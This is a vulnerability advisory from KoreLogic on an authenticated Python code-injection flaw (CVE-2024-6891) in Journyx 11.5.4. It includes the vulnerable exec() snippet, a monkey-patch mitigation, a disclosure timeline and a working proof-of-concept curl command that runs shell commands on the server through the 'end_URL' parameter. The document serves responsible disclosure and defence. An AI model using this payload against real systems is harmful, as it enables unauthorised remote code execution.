Journyx 11.5.4 Authenticated Remote Code Execution

`KL-001-2024-008: Journyx Authenticated Remote Code Execution  
  
Title: Journyx Authenticated Remote Code Execution  
Advisory ID: KL-001-2024-008  
Publication Date: 2024.08.07  
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-008.txt  
  
  
1. Vulnerability Details  
  
Affected Vendor: Journyx  
Affected Product: Journyx (jtime)  
Affected Version: 11.5.4  
Platform: GNU/Linux  
CWE Classification: CWE-94: Improper Control of Generation of Code  
('Code Injection'), CWE-95: Improper Neutralization  
of Directives in Dynamically Evaluated Code  
('Eval Injection')  
CVE ID: CVE-2024-6891  
  
  
2. Vulnerability Description  
  
Attackers with a valid username and password can exploit  
a python code injection vulnerability during the natural  
login flow.  
  
  
3. Technical Description  
  
When utilizing a username and password to authenticate to  
Journyx via the web interface, an HTTP request is sent to  
"wtlogin.pyc" containing the credentials. Upon a successful  
login, the user is redirected to "wte.pyc" or the URL specified  
in the "end_URL" body parameter if one is supplied.  
  
An additional condition is present, however. If the  
"end_URL" value is over 1,000 characters, the value is instead  
interpolated into a python "import" statement which is passed  
into the "exec()" function, thereby executing arbitrary code.  
  
Code snippet from "wtlogin.pyc":  
  
finalURL = end_URL + '.pyc?' + genlib.URLEncodeParams(params)  
if len(finalURL) < 1000:  
raise genlib.HTTP302Found(finalURL)  
else:  
exec('import %s; %s.main()' % (end_URL, end_URL))  
  
  
The "params" variable is derived from the query parameters  
included in the login request, so the size of "finalURL"  
is trivial to inflate.  
  
  
4. Mitigation and Remediation Recommendation  
  
The vendor reports that this issue was remediated in Journyx  
v12.0.0, which is the first wholly cloud-hosted version of  
this product.  
  
For self-hosted instances of JournyX, additional security  
measures (such as input sanitization) can be added by monkey  
patching the PYC file responsible for handling request  
parameters (mycgi.pyc).  
  
1) Rename "mycgi.pyc" to an alternative name, e.g. mycgi_original.pyc.  
$ mv wt_tar/pi/pylib/wtlib/mycgi.py wt_tar/pi/pylib/wtlib/mycgi_original.py  
  
2) Create a file named "mycgi.py" in the same directory.  
$ touch wt_tar/pi/pylib/wtlib/mycgi.py  
  
3) Insert the following code into the newly created "mycgi.py"  
  
from mycgi_original import *  
from html import escape  
  
def patch():  
pdata = _parse()  
  
# force the value of "end_URL" to always be "wte"  
if pdata.get('end_URL'): pdata['end_URL'] = ['wte']  
  
# sanitize user-controlled error messages  
for parameter in ['error', 'error_description']:  
if not pdata.get(parameter): continue  
pdata[parameter] = [escape(value) for value in pdata[parameter]]  
  
return pdata  
  
_parse = parse  
parse = patch  
  
Once these changes have been made, the JournyX native "mycgi.parse()"  
function will be overwritten with the "patch()" function located in the  
"mycgi.py" file. Relevant to this advisory, the patch provided above  
will force the "end_URL" parameter to always have a value of "wte".  
  
  
5. Credit  
  
This vulnerability was discovered by Jaggar Henry of KoreLogic, Inc.  
  
  
6. Disclosure Timeline  
  
2024.01.31 - KoreLogic notifies Journyx support of the intention to  
report vulnerabilities discovered in the licensed,  
on-premises version of the product.  
2024.01.31 - Journyx acknowledges receipt.  
2024.02.02 - KoreLogic requests a meeting with Journyx support to share  
vulnerability details.  
2024.02.07 - KoreLogic reports vulnerability details to Journyx.  
2024.02.09 - Journyx responds that this vulnerability has been remediated  
in the cloud-hosted version of the product.  
2024.02.21 - KoreLogic offers to test the cloud version to confirm  
the fix; no response.  
2024.07.01 - KoreLogic notifies Journyx of impending public disclosure.  
2024.07.09 - Journyx confirms version number of the remediation.  
2024.08.07 - KoreLogic public disclosure.  
  
  
7. Proof of Concept  
  
By leveraging the existing "web" python module, it is possible  
to see the output of shell commands as returned by "os.popen()".  
  
[attacker@box]$ HOST='redacted.com'; PORT='8080'; USERNAME='employee'; PASSWORD='password123'; COMMAND='id'; \  
curl -x http://localhost:8080 -X POST \  
-d   
"wtusername=$USERNAME&wtpassword=$PASSWORD&end_URL=os,web%0aweb.response.text%3dos.popen('$COMMAND').read()#&timestamp=9999999999&pageid=$RANDOM"   
\  
-H 'Cookie: wtsession=foobar' \  
"http://$HOST:$PORT/jtcgi/wtlogin.pyc?z=$(printf 'Z%.0s' {1..1000})"  
  
uid=1000(foo) gid=1000(foo)   
groups=1000(foo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),135(lxd),136(sambashare)  
[attacker@box]$  
  
  
The contents of this advisory are copyright(c) 2024  
KoreLogic, Inc. and are licensed under a Creative Commons  
Attribution Share-Alike 4.0 (United States) License:  
http://creativecommons.org/licenses/by-sa/4.0/  
  
KoreLogic, Inc. is a founder-owned and operated company with a  
proven track record of providing security services to entities  
ranging from Fortune 500 to small and mid-sized companies. We  
are a highly skilled team of senior security consultants doing  
by-hand security assessments for the most important networks in  
the U.S. and around the world. We are also developers of various  
tools and resources aimed at helping the security community.  
https://www.korelogic.com/about-korelogic.html  
  
Our public vulnerability disclosure policy is available at:  
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy  
  
`